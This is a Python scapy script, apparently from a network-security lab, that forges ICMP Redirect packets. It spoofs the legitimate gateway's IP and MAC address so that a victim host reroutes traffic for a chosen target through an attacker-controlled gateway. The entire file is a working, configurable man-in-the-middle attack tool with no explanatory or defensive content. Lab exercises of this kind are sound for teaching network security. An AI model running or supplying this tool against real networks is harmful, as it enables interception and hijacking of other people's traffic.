71 lines
2.1 KiB
Python
71 lines
2.1 KiB
Python
#!/usr/bin/python3
|
|
import argparse
|
|
import sys
|
|
import time
|
|
|
|
from scapy.all import Ether, ICMP, IP, conf, get_if_hwaddr, getmacbyip, sendp
|
|
|
|
|
|
def build_parser():
|
|
parser = argparse.ArgumentParser(
|
|
description="Send forged ICMP Redirect packets with L2 spoofing."
|
|
)
|
|
parser.add_argument("--victim", default="10.9.0.5")
|
|
parser.add_argument("--target", default="192.168.60.5")
|
|
parser.add_argument("--gateway", default="10.9.0.11")
|
|
parser.add_argument("--new-gateway", default="10.9.0.111")
|
|
parser.add_argument("--echo-id", type=int, default=0x1234)
|
|
parser.add_argument("--echo-seq", type=int, default=1)
|
|
parser.add_argument("--count", type=int, default=20)
|
|
parser.add_argument("--interval", type=float, default=0.5)
|
|
return parser
|
|
|
|
|
|
def must_resolve_mac(ip_addr):
|
|
mac = getmacbyip(ip_addr)
|
|
if mac is None:
|
|
print(f"Failed to resolve MAC address for {ip_addr}", file=sys.stderr)
|
|
sys.exit(1)
|
|
return mac
|
|
|
|
|
|
def main():
|
|
args = build_parser().parse_args()
|
|
conf.verb = 0
|
|
|
|
victim_mac = must_resolve_mac(args.victim)
|
|
gateway_mac = must_resolve_mac(args.gateway)
|
|
attacker_mac = get_if_hwaddr("eth0")
|
|
|
|
outer_ip = IP(src=args.gateway, dst=args.victim)
|
|
redirect = ICMP(type=5, code=1, gw=args.new_gateway)
|
|
|
|
# Quote the original packet in the RFC-required minimum form:
|
|
# original IP header + first 8 bytes of payload.
|
|
inner = IP(src=args.victim, dst=args.target) / ICMP(
|
|
type=8, id=args.echo_id, seq=args.echo_seq
|
|
)
|
|
quoted = bytes(inner)[:28]
|
|
|
|
frame = (
|
|
Ether(src=gateway_mac, dst=victim_mac)
|
|
/ outer_ip
|
|
/ redirect
|
|
/ quoted
|
|
)
|
|
|
|
print(
|
|
"Sending forged redirects: "
|
|
f"gateway_ip={args.gateway}, gateway_mac={gateway_mac}, "
|
|
f"victim_mac={victim_mac}, attacker_mac={attacker_mac}, "
|
|
f"quoted_echo_id={args.echo_id}, quoted_echo_seq={args.echo_seq}"
|
|
)
|
|
for idx in range(args.count):
|
|
sendp(frame, iface="eth0", verbose=False)
|
|
print(f"sent redirect #{idx + 1}")
|
|
time.sleep(args.interval)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|